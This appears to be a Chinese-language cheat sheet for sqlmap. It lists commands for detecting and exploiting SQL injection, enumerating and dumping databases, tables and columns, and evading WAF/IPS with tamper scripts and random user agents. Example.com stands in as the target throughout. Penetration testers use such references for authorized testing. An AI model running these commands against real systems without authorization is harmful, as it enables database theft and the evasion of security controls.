sqlmap常用命令

sqlmap常用命令

  1. 自动检测和利用 SQL 注入:
sudo sqlmap -u "http://example.com/vuln.php?id=1"        # GET
sudo sqlmap -u "http://example.com/login.php" --forms    # POST
  1. 指定 HTTP 请求方法:
sqlmap -u "http://example.com/login.php" --data="post数据"    # 指定 HTTP POST 数据
sqlmap -u "http://example.com/login.php" --method=GET         # 明确指定 HTTP 请求方法,如 GET、POST、PUT 等
  1. 指定参数:
sqlmap -u "http://example.com/login.php" -p 参数名            # 指定要测试的参数
sqlmap -u "http://example.com/login.php" --dbms=数据库类型    # 明确指定数据库类型,如 MySQL、Oracle、PostgreSQL 等
  1. 指定级别和风险:
sqlmap -u "http://example.com/login.php" --level=等级    # 设置测试等级(1-5),等级越高检测越全面
sqlmap -u "http://example.com/login.php" --risk=风险     # 设置测试风险(1-3),风险越高可能的攻击尝试越危险
  1. 获取数据库信息:
sqlmap -u "http://example.com/login.php" --dbs                         # 列出所有数据库
sqlmap -u "http://example.com/login.php" -D 数据库名 --tables          # 列出特定数据库的所有表
sqlmap -u "http://example.com/login.php" -D 数据库名 -T 表名 --columns  # 列出特定表的所有列
sqlmap -u "http://example.com/login.php" -D 数据库名 -T 表名 -C 列名 --dump  # 提取特定列的数据
  1. 绕过 WAF/IPS:
sqlmap -u "http://example.com/login.php" --tamper=脚本名    # 使用绕过脚本,如 space2comment
sqlmap -u "http://example.com/login.php" --random-agent    # 使用随机的 User-Agent
  1. 其他有用的选项:
--proxy=http://127.0.0.1:8080  # 使用代理服务器
--threads=数量      # 指定用于请求的线程数
--time-sec=秒数     # 指定基于时间的盲注的延迟时间
--dump-format=格式  # 指定提取数据的格式(CSV、HTML、SQLITE 等)
  1. 使用示例:
# 检测目标 URL 中的 SQL 注入,并列出所有数据库
sqlmap -u "http://example.com/vuln.php?id=1" --dbs
    
# 使用 POST 方法测试注入,并获取特定数据库的表名
sqlmap -u "http://example.com/vuln.php" --data="id=1" -p id --tables -D example_db
    
# 绕过 WAF,使用随机 User-Agent 和指定的绕过脚本
sqlmap -u "http://example.com/vuln.php?id=1" --tamper=space2comment --random-agent
    ```